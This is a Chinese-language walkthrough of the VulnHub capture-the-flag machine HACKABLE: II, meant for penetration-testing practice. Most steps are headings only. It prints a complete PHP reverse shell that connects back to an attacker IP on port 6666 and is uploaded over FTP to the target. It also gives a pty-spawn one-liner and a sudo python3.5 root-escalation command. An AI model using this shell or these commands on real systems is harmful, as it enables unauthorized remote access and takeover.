vulnhub刷題記錄（HACKABLE: II）

• 英文名稱 ：HACKABLE: II
• 中文名稱 ：可破解：II
• 釋出日期 ：2021 年 6 月 15 日
• 難度 ：容易
• 描述 ：這適用於 VirtualBox 而不是 VMware。
• 下載地址 ： http://www.vulnhub.com/entry/hackable-ii,711/

1、主機發現

2、埠掃描

3、FTP發現

4、Web發現

dirsearch -u 192.168.199.100

5、訪問Web頁面

6、FTP上傳PHP反彈shell

<?php
// php-reverse-shell - A Reverse Shell implementation in PHP

set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.199.247';  // ailx10 hacker
$port = 6666;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

//
// Daemonise ourself if possible to avoid zombies later
//

// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies.  Worth a try...
if (function_exists('pcntl_fork')) {
	// Fork and have the parent process exit
	$pid = pcntl_fork();
	
	if ($pid == -1) {
		printit("ERROR: Can't fork");
		exit(1);
	}
	
	if ($pid) {
		exit(0);  // Parent exits
	}

	// Make the current process a session leader
	// Will only succeed if we forked
	if (posix_setsid() == -1) {
		printit("Error: Can't setsid()");
		exit(1);
	}

	$daemon = 1;
} else {
	printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}

// Change to a safe directory
chdir("/");

// Remove any umask we inherited
umask(0);

//
// Do the reverse shell...
//

// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
	printit("$errstr ($errno)");
	exit(1);
}

// Spawn shell process
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
	printit("ERROR: Can't spawn shell");
	exit(1);
}

// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
	// Check for end of TCP connection
	if (feof($sock)) {
		printit("ERROR: Shell connection terminated");
		break;
	}

	// Check for end of STDOUT
	if (feof($pipes[1])) {
		printit("ERROR: Shell process terminated");
		break;
	}

	// Wait until a command is end down $sock, or some
	// command output is available on STDOUT or STDERR
	$read_a = array($sock, $pipes[1], $pipes[2]);
	$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

	// If we can read from the TCP socket, send
	// data to process's STDIN
	if (in_array($sock, $read_a)) {
		if ($debug) printit("SOCK READ");
		$input = fread($sock, $chunk_size);
		if ($debug) printit("SOCK: $input");
		fwrite($pipes[0], $input);
	}

	// If we can read from the process's STDOUT
	// send data down tcp connection
	if (in_array($pipes[1], $read_a)) {
		if ($debug) printit("STDOUT READ");
		$input = fread($pipes[1], $chunk_size);
		if ($debug) printit("STDOUT: $input");
		fwrite($sock, $input);
	}

	// If we can read from the process's STDERR
	// send data down tcp connection
	if (in_array($pipes[2], $read_a)) {
		if ($debug) printit("STDERR READ");
		$input = fread($pipes[2], $chunk_size);
		if ($debug) printit("STDERR: $input");
		fwrite($sock, $input);
	}
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
	if (!$daemon) {
		print "$string\n";
	}
}

?>

6、Web頁面點選反彈shell

7、反彈shell成功

8、切換shell，便於後續提權

python3 -c 'import pty;pty.spawn("/bin/bash")'

9、尋找敏感檔案

10、檢查系統版本，和CVE-2021-4034 polkit（pkexec）提權漏洞版本不對口

cat /etc/os-release

11、檢視home目錄，發現線索在根目錄下存在隱藏檔案

12、執行隱藏檔案

13、md5解密

14、切換使用者，獲得普通flag

15、檢視使用者許可權

16、sudo 提權

sudo /usr/bin/python3.5 -c 'import pty;pty.spawn("/bin/bash")'

17、獲得root的flag

到此，實驗完成～